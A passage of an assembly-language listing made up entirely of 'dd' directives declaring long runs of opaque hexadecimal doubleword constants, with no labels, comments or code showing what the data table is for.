5788FB7h, 0D4851067h, 0C743C469h, 9A03A038h, 0CC77620Ch dd 0B6E76679h, 0D78F948h, 615DE99Eh, 0E54F265Dh, 1DA2F3C0h dd 0D95351A2h, 0C5F6E2E5h, 0DAD7AD59h, 0F1BE6AEEh, 0CC41CA72h dd 1F84CE02h, 0ACA3CFC2h, 7093A6E6h, 634631BAh, 0E866D10h dd 0C699F631h, 0A3E99037h, 0A37DEED1h, 0BB41CB90h, 9622CF6Ah dd 2089FF32h, 3EBC02EAh, 0DCB81235h, 0E77611Ah, 0B657A87h dd 0BB1085F7h, 3B02AA90h, 8C26D4B9h, 0C2F65952h, 77F0B2D7h dd 5B4E6691h, 8F405DD7h, 5744966Ah, 0B04FC235h, 2885DD8Ch dd 7B1A4397h, 2385D49Ch, 0F207611Ah, 123BEB59h, 80554027h dd 3F4A123Bh, 2B5D8FD3h, 30B737D3h, 4201BEAEh, 0B4F9099h dd 0E6F5B0F7h, 0FC7CB74Ah, 925F39ABh, 55980C35h, 6A7DF21Dh dd 0D9CE16AEh, 61316B86h, 1B960C0Bh, 6F96A59Ah, 30227085h dd 1E1B1CAh, 57809D39h, 295C6BE5h, 3A664726h, 650DE889h dd 9ABACF5Fh, 0E82F7334h, 0A4640CADh, 0EC72154Ah, 5B7C9F68h dd 0D97CB9E5h, 0E1C13A01h, 0D318A8C9h, 0EBE3B33Ah, 95935D4Fh dd 0C3FEB8F8h, 0FEE14105h, 37EA225Bh, 97B9E3A0h, 54401B90h dd 1290EB33h, 0D2551A3Ch, 0B5D661FCh, 3A896F88h, 16BCB5D0h dd 41C7A602h, 637DAC4Eh, 9A67B0D7h, 6B07C34Dh, 0D234A50Dh dd 1FA25776h, 594747A5h, 87EB9378h, 0FB80E53Ah, 37B35576h dd 553D511Dh, 5112A6Ah, 0E0012EB1h, 0D62739DFh, 0BF768D6h dd 807D8C98h, 71DC12A8h, 79C2DFEBh, 62CC0DAFh, 85301421h dd 0B7F965Ah, 0B1A86E70h, 99A49CBAh, 41B1C6A2h, 0F8C0F4DBh dd 0EF0D3339h, 0A1303D5Ah, 4EF8E509h, 1178B3B6h, 0B864F854h dd 9B21DF66h, 6688BF4Bh, 6F801C4Ch, 30861D23h, 0A0BF2B9Ch dd 0DEB9DD41h, 6E4A566Fh, 0BA35CADEh, 0CC0614AAh, 0E251F052h dd 0C2C2829Eh, 0E8B8C1E3h, 784705DDh, 0A6C386EAh, 8BC52FCDh dd 88EAFE9Ch, 0A03D26A5h, 0A4EB5365h, 0ED0AF4EEh, 0A2BCDB8Dh dd 0EC3F6235h, 0E758E62Eh, 4F1ACBEFh, 3834FE25h, 90408261h dd 78669938h, 17A7480Fh, 6AB0ECA5h, 5EF4E4A5h, 0D1B54F4Bh dd 6FC18672h, 18B47460h, 0DF9C8C76h, 0CDAA7868h, 9B82CE50h dd 6510F0A8h, 6D20C6B8h, 0BB7D5A5Fh, 0F6C66109h, 372B48BCh dd 0E9B022B6h, 0AC3B8908h, 7CAFBAEBh, 0E1E6C5D3h, 0C1142AC2h dd 0CD387DA6h, 0E893B6BBh, 7D9E352h, 6F5DD088h, 87A832FEh dd 90EB19AEh, 0E15C740Eh, 8DC3B936h, 292AD284h, 608E76F6h dd 58C1D961h, 0C1C19F9Dh, 0F15F5BFBh, 0EA35CCC9h, 0F24BD5F5h dd 409FF392h, 4D818926h, 85633F9Dh, 0F6935201h, 27168483h dd 0C2344B3Ch, 506E875Fh, 56BCD3CAh, 51D0B74h, 0CA4808A2h dd 0A3B8F2B6h, 0ACD94C41h, 4B56D75h, 0AF450F7h, 0B508C8F0h dd 0D3BF4683h, 0A0EF0D75h, 0F35417A5h, 4DA0B6FEh, 57131751h dd 9AA1A5B3h, 0D81B7E71h, 2C26EFBBh, 0E81FB729h, 5178755Fh dd 0D1D7DEAh, 955509C5h, 79C63C15h, 4AB88E3Ah, 0CA7ABB07h dd 976AC631h, 7D5D4CF6h, 1DEF7837h, 2D0FE64Ah, 0C0BC58EDh dd 0F2E0019Ah, 0A3366FFCh, 0C30D7A0Eh, 4F128B7Dh, 9BE7D9EFh dd 5ED7CA06h, 0B694CF5Fh, 7D468387h, 3E86BAF5h, 0DE159E78h dd 0A2241453h, 9777198h, 7FB53865h, 8ED25F6Ah, 355542D3h dd 3DB1FD58h, 0E3A85E7Ah, 31AD217Ch, 1AA322BDh, 0FA9DA547h dd 0A7B8593Dh, 510CE3D3h, 866F5A0Ch, 7AF789F1h, 0FABE4213h dd 0B53B5C6h, 56DA1DBCh, 0D9A3DEFEh, 0A25EC470h, 806FF407h dd 0DDFFE4A2h, 7AB069DEh, 6926F101h, 70CF6343h, 84DD16CAh dd 0B6A0213Bh, 0F20BEA60h, 0A72A524Ch, 0C35490F1h, 62E8737Fh dd 0F49453F6h, 6A7D112h, 161F4426h, 0CF77E733h, 0CCF7EFD2h dd 0F9302D96h, 66A59C47h, 0B85E87F5h, 93D151CEh, 0D3EA7884h dd 0B03549B8h, 0CB00A5BAh, 9336A23Fh, 0F1639B57h, 31A59BF4h dd 0D32DB2Fh, 47B4CA08h, 0EBCF2A7Bh, 0BA2D7AE2h, 9A3DC4A6h dd 18751ABDh, 581E4ED4h, 0A8411F17h, 7DE59Bh, 0AB8161A9h dd 1EBE07Ah, 0A10B316Bh, 0A3403FFEh, 470F20FEh, 0C117B530h dd 0F1D2D2h, 0D07161D6h, 0E93DC4CBh, 0FE3E4292h, 0C8A134ADh dd 1200C2E0h, 7EBDCE89h, 93719C56h, 369C5F37h, 19AF82DAh dd 0DCA121DEh, 0BE76036Eh, 8A45EFA6h, 0E8D675B5h, 388AD81Bh dd 48E8C5EBh, 22EC039h, 203D5885h, 312ADEAEh, 0ED0BAED8h dd 6D37C0BAh, 697A93CCh, 0D8CEC9DEh, 2B7C56Bh, 98E1E12Bh dd 3FFCB552h, 4AD47D98h, 2783CD90h, 2249A83Fh, 0FDC36322h dd 0DB585AA3h, 21D18E5Dh, 50A2126Ch, 11672054h, 0F1D82320h dd 3C365D80h, 0B41A0206h, 0E0F41C76h, 926DFD36h, 2A49ECFDh dd 84C11070h, 0BBB630E9h, 61D4921h, 2B935FE5h, 0CD60D38Eh dd 0C9FD6B41h, 0F9323145h, 72DEC9ADh, 503CBF72h, 0E18E4CEBh dd 0BA0CC39h, 800754B8h, 0F953903Ah, 0DFF611D5h, 1146C948h dd 343E7424h, 96045610h, 0A13D10B6h, 0A18C4705h, 0F23DA479h dd 695246CEh, 775B2AB4h, 503CB88Bh, 435FF3B4h, 7E169F0h dd 4B44385Fh, 0BEF4C511h, 0A1ED834Ah, 75588B08h, 0B6D15BC6h dd 311393DFh, 458A3E4Ah, 70F1FBCDh, 0E5EEE256h, 0B1DD3ABDh dd 37FCBA58h, 615F9783h, 0B6245670h, 829C10D7h, 8C642063h dd 1E76E051h, 0A1576B20h, 49652EB4h, 0AFD5121Fh, 0A2B51AB9h dd 0FA6FDFB9h, 76B46374h, 95D078A2h, 0E8F85E57h, 3AC9DA95h dd 0B8F4586h, 66222F94h, 1BB8293h, 9A48EF61h, 77504932h dd 4E4A6334h, 5ECC6030h, 32A0FD14h, 1AD46807h, 3CB6A19Fh dd 6C9F1B71h, 7F376B2h, 72724E95h, 0A908AA2Dh, 31196CDAh dd 0EEC76091h, 0C275A875h, 0AD2E3DF7h, 8B0E4E12h, 0D8C3626Bh dd 9FBC1948h, 0F6B4163Dh, 0E58DB40Bh, 775C01E6h, 333145DFh dd 6F7B9DDh, 7437402Eh, 7609E061h, 0CD3ACCA9h, 7356D5D4h dd 774A7EA3h, 4CF01F1Dh, 17B8C161h, 902ED48Bh, 145B4C4Bh dd 2B7E2A6Bh, 0B6DFB63Ch, 33233FC1h, 0C86E0C3Ah, 0DE8DCD9Fh dd 66CC5447h, 309E40ADh, 0DEDA74FFh, 8F1B8BA8h, 0B6FA67BDh dd 7EDBAB97h, 3534CF3Ch, 4A54CD33h, 81580DBCh, 0F85E0582h dd 7C2A6DA0h, 0BE8EFAC0h, 8A8D7F41h, 29FB44C1h, 81B7B5A6h dd 4D21BA9h, 0CD260C2Fh dd 0C9A3B02h, 727F7F47h, 719589C7h, 572B0AB4h, 7F630118h dd 9063F3E7h, 3BD9A28Bh, 81C2442Ah, 0F106024h, 321B8E82h dd 0F58F9CDAh, 47D347C7h, 3BB3900Ch, 15DC6AF5h, 1DD5FB6Ch dd 0F5B0DF19h, 5C21B5A7h, 0DFE02593h, 48059A0Eh, 31B3841Bh dd 648F40A2h, 27D7EFD8h, 0CF9E30CAh, 8C0067CEh, 197E5531h dd 188358F1h, 94EC8D54h, 0BCC44654h, 4C159AB9h, 814F18ACh dd 20CD2C3h, 0B7386852h, 3FFFB177h, 617C59D5h, 3A457895h dd 0FDDD52DAh, 0FE6A5BE5h, 854E72AAh, 1F5233D8h, 0DB018A72h dd 361DDF1Bh, 0F07F94F8h, 5FBD6328h, 0E7BC8A89h, 4799937Eh dd 884FC7EEh, 0A07A8238h, 74D318A7h, 4895362Dh, 1C0BC3AFh dd 93D37A10h, 9FDBB881h, 0A3F7F9FFh, 0B1967D96h, 0F001DA95h dd 0C1F77F63h, 3CDD1A59h, 7159CCACh, 0CA1A0E2h, 35B46463h dd 85408373h, 324E1EB3h, 44FC0CAAh, 5D5CA713h, 0E6B3CC6h dd 0FF21D11Dh, 0FC434A75h, 2751D590h, 9ACD7F4Bh, 5E27EF76h dd 0C2BDB021h, 49593BA4h, 290957CFh, 0EF3ABCF0h, 20FC09D0h dd 971D9BF6h, 0AC014C1Fh, 0CB69DC4h, 471BC2F9h, 67E5FD52h dd 0A61822Ch, 652D98B4h, 5B9066BCh, 6982D98Bh, 841371D1h dd 7AF639AAh, 0BE395B43h, 0B0951F4Fh, 6656FB5Bh, 0FAE052D1h dd 0E3CFA032h, 0ABA7EC21h, 0E0EABFBFh, 6FBDAD09h, 5C9709E6h dd 67A06FDEh, 28E32D77h, 2ABC3FD5h, 956F171Ch, 96940723h dd 266EF9E8h, 9DD0813Ch, 9C79C82Ah, 77C0ECC9h, 0B3B2F6AEh dd 71893475h, 28FD6F4Fh, 0B3DA45D5h, 1D81BAA2h, 887C622Ah dd 309537DEh, 2033FD7Eh, 96A9F9A1h, 62480156h, 8959B161h dd 0AFDE3900h, 66902A95h, 23772A07h, 7079436Dh, 7EDA1A34h dd 9EC45C3Dh, 7C2B9BCCh, 0C5C5B63Dh, 0E9EE4430h, 3D07A87Fh dd 0A6C984A9h, 0C75A3BD9h, 49652877h, 5ABE4575h, 0E9A864Ah dd 0F459D0F3h, 0E5494468h, 0C1BC1953h, 783D1300h, 0C2EA2009h dd 0CB706B63h, 0C0CA666Dh, 868B8379h, 86A7C30h, 735F8897h dd 0FDEF44BDh, 4F2FE29Bh, 75EB64B8h, 3528C1BDh, 3CA25FEh dd 8C440C00h, 8E061B63h, 18CDD004h, 0D9EE9629h, 729D08B7h dd 8C6BE103h, 0C907D183h, 227F724Eh, 0BDE75548h, 521F56F0h dd 2D88CD6Ah, 0DEFD8779h, 87232DFFh, 1CC9D042h, 39032A73h dd 16CE9275h, 9277C02Ch, 0E043A80Dh, 6139DC01h, 3C863E90h dd 4E407AC4h, 0B996DA82h, 0AD2AF494h, 89E443E7h, 4E9C2AEh dd 0F1EDBA9Fh, 0D76FAAEFh, 87A300DDh, 6C0E5A8Bh, 87F15720h dd 867558ECh, 2B02F5E5h, 8C410F88h, 9E84D2C7h, 0E490A559h dd 0A5CC715Dh, 7924D65Ah, 21B1F734h, 9FC1F2A5h, 0D4E1102Dh dd 2554F8E6h, 5A0319B7h, 0A0AD5A67h, 62F533ECh, 878DF7D0h dd 67135742h, 3946E9AFh, 2AC0E12Bh, 0A504DE79h, 0FD368A6Dh dd 6ED6F322h, 2DD626F7h, 2A261DAAh, 6AC7977Bh, 0AE115621h dd 0F3DA66EDh, 4714FB98h, 8C5B176Ah, 572EE7E9h, 0EBB4DA29h dd 0DD07C41Ch, 5A194A0Ch, 4A767F09h, 35949092h, 0C768C312h dd 3622C332h, 0B76D08BCh, 0F2E4618Bh, 53FB6BE5h, 59166BCh dd 8BE18955h, 0E261EA64h, 3D059298h, 43162968h, 39AE07B3h dd 0D4D31FFFh, 4721C29Bh, 3F086A4Eh, 2582ADD1h, 4D8BBE5Ch dd 6283C79h, 5FF69347h, 24F7F4DDh, 2273B399h, 0EB350654h dd 171F4ADBh, 9511FBD0h, 0C7893E12h, 8AB1488Dh, 2195A304h dd 0D1826F68h, 7EAC3177h, 479FFD87h, 0AE423B13h, 191DEF8Ah dd 87AFC600h, 7A6EA43Eh, 30755F4Eh, 26FCE4D9h, 0AEF11CCFh dd 860249BDh, 68DDADE9h, 6C9784E8h, 0C1386A9h, 0CAD82571h dd 0B018F6AFh, 90B4444Dh, 0E3B6811Ah, 0C10B1B2Ch, 0DA1425Fh dd 0EFCBED0h, 5B76E606h, 0F9338CB0h, 3F0B921Dh, 0B5801355h dd 459C8220h, 0D6B2E12Ah, 539ABA3h, 1EA0ABE3h, 72E175AFh dd 0B2172C28h, 0FBC1009Ch, 0F98721EDh, 4D56A572h, 595A7063h dd 28556097h, 0C1BAAAB2h, 6BF2328Bh, 5791A221h, 0AA31C6Bh dd 0EBCEC0F8h, 1249F5CBh, 3FF5B86Ch, 11B41A29h, 90170A81h dd 0E9B4E625h, 96F55192h, 25FAD80h, 9EF54705h, 363A4F34h dd 0DB3640C3h, 3A5A8425h, 0DF42A43Dh, 0EBBF0DAAh, 25806E8Ah dd 0D6C100C5h, 0BD351Eh, 0BA96FC85h, 0D46C01E3h, 0BDE6F346h dd 0E75A24F9h, 3F8D61E2h, 469D7927h, 3B5F7D3Bh, 3DD2538h dd 0EF56019Ah, 84DD34F6h, 0A49DF3BAh, 3EE24A08h, 0CD6A8A3Fh dd 0E1159E8Ah, 59891BEBh, 0DBC7EE0Ch, 6C5F3BCAh, 7071ADF2h dd 0FCE4D9A0h, 0B62D3411h, 29CC2214h, 3B456CE9h, 0A47D94ABh dd 0E4A1ADF5h, 4D9ACF15h, 0D90BC71Fh, 0C2A9D711h, 7DF715B2h dd 0B63CD3FBh, 0AE0FD809h, 9F8C8864h, 9BD13F13h, 7C5A899Ch dd 338405ECh, 9357D9ECh, 2036A7C6h, 8EC59406h, 43F40E25h dd 0F91E8DA2h, 0CEE30598h, 0E3FF3C61h, 0B9F829C2h, 0E01A075h dd 7C16EDB7h, 3D83EA19h, 0D39FA174h, 60D91318h, 3C5459E5h dd 0F00AC43h, 12F93E95h, 1382FFAFh, 0D9DAEF9Eh, 6EF44164h dd 5236543h, 98AB49DEh, 0BCFA096Dh, 0D61D410Fh, 44B195D2h dd 0A1550639h, 0F440257Ah, 6636EB52h, 0F95AED69h, 0D761C700h dd 8F68942Dh, 0CE1ED74Ah, 39ED0041h, 613F79EFh, 2A73A440h dd 7F5C1347h, 0E7ADC4B8h, 0B310D661h, 0B3F23292h, 0AC19E684h dd 0C4A7EBBh, 0B815C8CAh, 0F53E7331h, 85888D9Bh, 9F806226h dd 122ADCD1h, 55AE9D7Bh, 435DD1A6h, 0E35C99F1h, 6A695BA1h dd 0BBCE4AB9h, 691543ECh, 0C58415C5h, 95542968h, 0DD67B788h dd 0BA21CAFAh, 552FBCFAh, 0D4508154h, 4425EA6Eh, 0FC1D9E1Eh dd 0D73C7A3Eh, 50397FD1h, 563BAB10h, 709A224Bh, 0E8AD2497h dd 0AEE6CF63h, 0AED2930Dh, 0A31BD07Ah, 9D31912Ah, 0A9B5D78Ch dd 19E4FDF7h, 62893EF2h, 6CB21B9Eh, 66AFB920h, 8E674F51h dd 0DD4BB158h, 9189755Ch, 0FFFC8EF9h, 5FFCF249h, 22B8052Ah dd 0C837008h, 8DE3F56Ch, 0DA0A7511h, 9A20CFDBh, 0F7D3D759h dd 0DED9D599h, 0D81160E8h, 0A5A03F9Fh, 1510B655h, 213740C5h dd 631CF957h, 6ED22D59h, 3F7E4095h, 2CB502B8h, 3D983F63h dd 0DC57483Ch, 501D217Fh, 0ABDEE67Ah, 0A08DC20Ah, 8EA443F3h dd 277B320Ch, 0E59CFAF5h, 139B2D35h, 56070CF7h, 0C2A4C9B8h dd 42BBE73Ch, 0BDECAC9Bh, 0D402C53h, 57729CF0h, 943082B6h dd 0EA025205h, 77C85960h, 0B947BBB3h, 82A66CB3h, 6C1CE8AAh dd 67B78406h, 0DF0510BCh, 1FBF58C2h, 2CA120EFh, 5323BF01h dd 0B18CA03Dh, 724BDEDFh, 422A6353h, 0A148A001h, 67B31128h dd 0AEF3806Fh, 215AC183h, 689FC17Ch, 5C2D2442h, 0A462A33Dh dd 15273566h, 9E5D4F63h, 0EB7A6D7h, 0FC652BD3h, 8466FD2Ah dd 0C2B79E68h, 0D46A91B5h, 54E8A6DEh, 0C44E4886h, 0B8F29056h dd 8145E14Ah, 418B0E71h, 0FD689249h, 5C50890Ah, 0C067EF3Eh dd 2FE098C2h, 261E7B3Bh, 1D485109h, 25254FFBh, 30477C90h dd 0F4C95C23h, 6CB24A66h, 92331AB5h, 2EA932F3h, 0AED60665h dd 35054F1h, 2F7A2096h, 8466D2C7h, 467675C4h, 957B02C5h dd 1DCB15E0h, 6A73DF9Dh, 67E86337h, 4E0DA827h, 1EB78A90h dd 0C1C704F3h, 9DA24D8Ch, 57D34D79h, 92DAC4D6h, 13F0ABABh dd 3E345D02h, 7EF45040h, 963A64E7h, 0F09FD7BEh, 679136CCh dd 0C7816EECh, 4E6C641h, 5E2ED99Eh, 8D480AFh, 0CE8A3074h dd 0EA472B2Ch, 0BC2BAC98h, 89B66392h, 0C4584D10h, 57133FDDh dd 9904227Fh, 0EA10D62Fh dd 37572153h, 0C6FAA821h, 0CEDDC95Bh, 92918CFCh, 2E097B26h dd 0C8A40AFBh, 0A8445D44h, 802C64D5h, 0D105B9D9h, 0ADE6362h dd 95A7082Fh, 0FE2BF215h, 0FFA2FACCh, 0D9222CE3h, 129DB490h dd 4BB8135Ah, 0AE47817Fh, 0A97E45F6h, 1EA1F4F3h, 753877DBh dd 2AC88CABh, 0F856D81Ah, 87685EEBh, 0B764E69Dh, 0C9D64227h dd 943E9948h, 9CC70111h, 5AE051A8h, 0BC048CCDh, 12DA6C2Ah dd 0DD365BF3h, 27F49365h, 8A5D707Fh, 37DFFE3Ch, 1CC2C218h dd 3CF1EB82h, 0A1AF22C7h, 79AF0B84h, 5519A06Bh, 2513157Fh dd 5EE16A12h, 0E90F3A5Eh, 0D52F2BA5h, 37D665F3h, 58587C6Eh dd 5C29043Eh, 4D4ACD1Eh, 7BE7B6A4h, 0C1B36FEh, 885F01BCh dd 0AE9176FEh, 0EFAAC66Ah, 7B6E696Bh, 0D85C0D3Dh, 94561B52h dd 0B00B57C0h, 82DA08A9h, 0FB2CDB6h, 0F40AF4DBh, 9F71AA11h dd 51BD9736h, 14500AFFh, 5F58CFC0h, 5D3B67F4h, 0B9C08700h dd 8024BC80h, 738AB260h, 0AD8EFC48h, 8F61B4DBh, 35D8B8B3h dd 0F4C0188h, 0D7A407F0h, 2875B511h, 0B766060Ah, 0C930C673h dd 2451F407h, 3474DD94h, 309D85E4h, 0D209C0B5h, 7DEAB5FFh dd 0E4871071h, 0EBCE33Bh, 0AC02A114h, 0E6F45ACEh, 6ED4516Ah dd 5199C5C1h, 952CA565h, 382808Bh, 0F35112BFh, 0C0BB4B80h dd 0A43B3A32h, 0DE31D95Ah, 572CFF64h, 65D37313h, 6F63AABAh dd 0D3376443h, 0E4FB189Dh, 0CC7E3442h, 1D7F1B74h, 12A8C765h dd 13DD0375h, 185B6A54h, 0ABE92918h, 5956AE51h, 69F1723Bh dd 0B455DBAFh, 0A53F8FA2h, 0FB802D36h, 0DEEB6767h, 0F2E770EFh dd 40B36144h, 704BB07h, 0B2124929h, 0B88DF16Dh, 144B310Dh dd 0F735613Ah, 0A2035535h, 7A3239E3h, 4476E9Ch, 0F0EC5FBEh dd 0CF62133h, 0B30246F3h, 0F56BA330h, 0EA1FAA21h, 3207ACFFh dd 6479D1C7h, 4EF1EB2Dh, 9A19F259h, 4E7CA7A2h, 301F165Eh dd 75C43623h, 0D7AE97B7h, 7707B9B1h, 504246ABh, 7781F36Ch dd 784B4630h, 76B926A8h, 5F262AC3h, 1FC388F7h, 89AB9B4h dd 0E49030E4h, 0BA42541h, 680BA5D0h, 0CE2B1F23h, 61CCA1Bh dd 94BA74D8h, 27916605h, 455F6460h, 130FEB3Ch, 56F065CBh dd 60F110CDh, 6C2DACC7h, 0ABFF77D9h, 0BA0D9AF9h, 6BBFCE9h dd 76959F4Eh, 0DA210681h, 0EFFED1EFh, 0E6F10B6Ah, 0C2A013B4h dd 3AC7FCF7h, 0F7D0E90Ch, 0CE53772Dh, 1B9F271Eh, 3D30A64Bh dd 22487551h, 7639589Ah, 6E8EC368h, 5FCF4BA1h, 4D28C4F5h dd 404CDCAFh, 58EFE232h, 70878CE6h, 66064F79h, 43BE50A1h dd 0BCD764F9h, 204743CFh, 4ECAA9E0h, 39365374h, 47D9DA14h dd 0A3AD6345h, 672A2D9Eh, 0C3B8156h, 1A3C7713h, 0A54EAC68h dd 0ACECEB1h, 865D0743h, 0CD339F3Dh, 175B8F18h, 0C8022E24h dd 9CD17490h, 0D25C6052h, 90142756h, 4EAA3990h, 89E74873h dd 0CAA3B9DAh, 76CB8479h, 8CE75D6Bh, 0DAFCEAF5h, 493A1696h dd 68E6844Eh, 8C3C1252h, 63636446h, 8ED55505h, 6D697CB3h dd 0F3138AB6h, 0BB024D2h, 9B2C550Ch, 5530F5BBh, 804E410Bh dd 6DCF099Ah, 7A21DD81h, 0A0950FA8h, 69552091h, 0E3E31269h dd 0B8D1D513h, 0E9FDC90Ch, 4202F50Ch, 92538639h, 715D91CCh dd 80B04BF0h, 512E525Dh, 0A0668DCh, 7EECD66Ah, 25FCB5BDh dd 50C06BA1h, 72F39CDBh, 0E405EBE9h, 0BAC57EEAh, 6B0BA54Ch dd 0F06D34EDh, 2E380D3Bh, 994B6D12h, 0E97776E0h, 849E5C1Ch dd 17C6E9B5h, 0A97E7E1Dh, 0DDB780CCh, 3FE22845h, 2870C53Dh dd 0C16ECAEDh, 32BEBC6Ah, 749C67F1h, 0A93CDB54h, 0BC006B81h dd 0BD0B3AF4h, 0D3BC6556h, 90969EF7h, 43E6F38Bh, 0D304A42Fh dd 0DEA348FCh, 5243373h, 0F40B67BDh, 0EA733A10h, 0FDAF525Bh dd 0D4598F9Fh, 0A8335D02h, 0DF8D0228h, 0DCA2248h, 0E9C5FFECh dd 0B5F15C68h, 0F3023C0Fh, 0DE8E8836h, 0AD9434FEh, 5AE3C33h dd 0F4B47C20h, 0BFB7686h, 0D0017ED0h, 0EC8C73FCh, 0BFA04337h dd 58C4C40Eh, 0D4B9643h, 0E23AF40Ch, 0ED0A2BB0h, 1375663Bh dd 0BF4E9450h, 0D7309409h, 0F0A96C0Eh, 73EF07C8h, 0B3E80B5Dh dd 2593EE02h, 0D5D5E963h, 0D16B437Dh, 3A37A6EAh, 0C51A5E9Bh dd 4B814773h, 93D43E44h, 0EAB05545h, 992259Ah, 7475547Ah dd 0CA9B7C64h, 6CA756A7h, 0E64513FFh, 112D20A3h, 0E419B443h dd 0C51E4555h, 0BA79F81Bh, 7BAF29C5h, 0AA705394h, 0C5D8452Eh dd 4CB80664h, 3F7602C2h, 0D87EEE35h, 0A02842EFh, 211FA57Fh dd 9003F263h, 54A0CC32h, 2C27D79Dh, 5FEC2267h, 0AB0351E2h dd 7B4DB886h, 79E1E6ACh, 86237F30h, 167E1A41h, 2268FB49h dd 34B09810h, 0BEEC37D9h, 0F07D9136h, 91A600D1h, 5CC2C984h dd 95B3C32Fh, 6C7FC215h, 0B164D2C9h, 0A908296Fh, 0DDA3AAD7h dd 0D466A02h, 0FC90B176h, 62EA1008h, 6DDB28FDh, 0ED0C6751h dd 349E8F1Fh, 0A3475C4h, 6DDBD8AEh, 0E167D086h, 52FC3AFFh dd 62C06D9h, 0D4DF8B71h, 2C0B1A83h, 9558CBDFh, 5A54C38Fh dd 406FC041h, 249327F1h, 0E5E1BDD9h, 0B96F1134h, 6C05ABDFh dd 85482550h, 0E1F82BC8h, 0F0A3F835h, 0E82C0499h, 0C7F0E886h dd 90B9AD79h, 41A2E8C1h, 7705EED5h, 835000C1h, 8205B0BCh dd 0B7873524h, 0C37F48D7h, 0A6F294D3h, 0CDE4E23Dh, 6A77F445h dd 2B9E072Dh, 29C51051h, 0B0E1F91Dh, 2D8A1D45h, 0F3DFDBEEh dd 55BE77A3h, 7B032A7Fh, 86140EAFh, 8281FB1h, 0F803379Ch dd 11BEC31Dh, 9A289635h, 2CC1E778h, 5DD0FF4Ah, 0A29A45B5h dd 2816AA61h, 57AC0154h, 94CB709Ah, 0D65BDBFCh, 645DC63h dd 0B22D0369h, 1D7FC043h, 2669778Fh, 0BEF3B4Fh, 233A56D5h dd 7E81E3DEh, 0C1DF08D9h, 1D19F379h, 1AC04F81h, 27D618B0h dd 0BBBD4442h, 635BC13Bh, 794D0E33h, 0EF1BF2CAh, 50E3DB96h dd 72EBE534h, 5C63ABA6h, 9F8942AEh, 0AFD36ED8h, 0F505BC0Ah dd 0EAD32010h, 0B3B6DD78h, 3AE91C57h, 0FE67C46Fh, 799EA1F0h dd 3A7961EEh, 0C817B06h, 488C453Dh, 0CE3C3E61h, 60D2BDB0h dd 16FF5287h, 56E4FF3Ah, 1ADC575Eh, 0DC5D7246h, 0B6AF7865h dd 74C0876Dh, 5F698090h, 0F9261967h, 0E44D2AF9h, 0E17968C9h dd 745F8ADFh, 0F1C0023h, 0CED6F37Bh, 1678742Ch, 4419EB3Bh dd 51EB8F68h, 63DA1BBBh, 0C5D8EB44h, 8503327Bh, 58621FACh dd 0CEE9E0C3h, 2E9CFF70h, 20C7A498h, 0B147B81Bh, 90286D65h dd 0E2A8FEF2h, 8C0D47AEh, 0B7A7C68Ah, 917036F9h, 6941A990h dd 0DAFE3E6Dh, 0A3D19D73h, 0AB76454Dh, 7D601DC6h, 0E4AA66B0h dd 4C4C9974h, 2DE41485h, 5D6EFBDEh, 0CE1411B4h, 2919108Eh dd 970DF3D7h, 2E952432h, 0B046E88Ah, 927B9B71h, 2807CDD5h dd 0D7BB268Ah, 0B03AA11Dh, 57D12EAFh, 0DEC2ADEAh, 85233A8Eh dd 1F472589h, 8D1C723Dh, 794B7263h, 278B1BB1h, 0EBD86EF0h dd 2E56855Bh, 0E60520A0h, 0F48E938Dh, 986263B2h, 82FE4E90h dd 9F7BAD9Bh, 694EA4A5h, 0A41AAAB4h, 1541042Dh, 3BEE3906h dd 0D7661EE7h, 0A20DEED2h, 0A8235711h, 95F218B1h, 5F10953Dh dd 0AEC9A7CFh, 9A7B9AF9h, 7A1745B1h, 279CB04Ah, 0D305F765h dd 2D9BA273h, 57B0F10h, 2174A19Fh, 8620C759h, 0BC82F85Ah dd 0CDA60816h, 0B0D047CBh, 0C4F9B319h, 89DECBF6h, 0E5C38262h dd 0E15839FDh, 160CEC5Bh, 530B1C6Eh, 0E84BB1A5h, 91DCE9F8h dd 8B8A0D43h, 99EC5844h, 95171723h, 0CF5CA332h, 0E67FD786h dd 0B73A960Ch, 35D07926h, 0C4A49475h, 9CF14746h, 9552AB9Dh dd 5B6B4F72h, 371D00F2h dd 0CDCB701Fh, 3183E4F5h, 0BF2348BCh, 0E03802B9h, 0C86176B8h dd 68CAF0Dh, 86720CDh, 0AE6F0F67h, 0E596D956h, 0E26FD181h dd 74B11DB1h, 4F81259Eh, 0B360577Ah, 2A24ADACh, 0D0233BF6h dd 0FF1EF3B9h, 0D8AB9C5Ch, 60DB6929h, 6E268FFEh, 0F3CE6539h dd 6924E404h, 0E4DAFB61h, 0A8DFEDB5h, 64DC0572h, 0C5021A23h dd 6EA63D2Bh, 361F3523h, 0D91CAC0h, 7C7B15FBh, 5419C06Ah dd 60151608h, 4EE34423h, 0F13458ACh, 0C98F1AF0h, 0E743A10Bh dd 126860Fh, 0BD3B5FA2h, 64122E6Fh, 51031DA0h, 55BB2C53h dd 94359BAAh, 35B449C1h, 9EB855F5h, 0FDDD689h, 57B13A5Ah dd 48ABDC13h, 0B1789FFFh, 0A377DEFEh, 0F4AE6DCAh, 452F73DFh dd 3F0CD240h, 0CF7EB0h, 3F59BB8h, 0AFA7FAA4h, 4ADD7077h dd 874757F7h, 0E6C72685h, 8087D510h, 112D4964h, 24CA316h dd 561B179Ch, 24F59A1Ch, 0A89F286Ch, 983C10E0h, 0F5B04301h dd 0A5A2761Fh, 8B8B9F82h, 1384FAFBh, 44DDE94Ah, 773D753Dh dd 1FF3C4D1h, 66231376h, 0FE4BAAE9h, 76001A08h, 0C725176h dd 70D4AA32h, 1C07EFB5h, 0C35E03EFh, 0EF60C21Dh, 4355A757h dd 45079B7Eh, 26B26970h, 434F7EB5h, 15D3B4E7h, 28A4A10h dd 21726892h, 4A58541Ch, 0C7CE721Fh, 80DC2E7Ah, 7ED2D64h dd 0D300484Bh, 0E530B624h, 9F457C42h, 30332484h, 0FCA8FD61h dd 7451E709h, 9A842110h, 29F26E5Bh, 0A50DCFE5h, 0A51A037Ah dd 6E1015C1h, 6991F607h, 67795153h, 0CD88DB97h, 1C05627Ch dd 0F1CA59F3h, 7084EE3h, 0D8BA9033h, 989B3748h, 0D212C4ACh dd 6ACF7C7Dh, 9A32E3F8h, 8E202BE3h, 9EE29BF3h, 83CA7086h dd 0F0BED3E9h, 62A86AC8h, 0E04C0E71h, 0E63B7D83h, 69D1C06Fh dd 84AE94BDh, 5A34C247h, 9635C14Ch, 895C1FF7h, 0BFF11ADAh dd 0CC0960CAh, 9A2217B8h, 8FBE9936h, 0C157912Dh, 0D7CDE22Ah dd 3841EDC4h, 0B28EC99h, 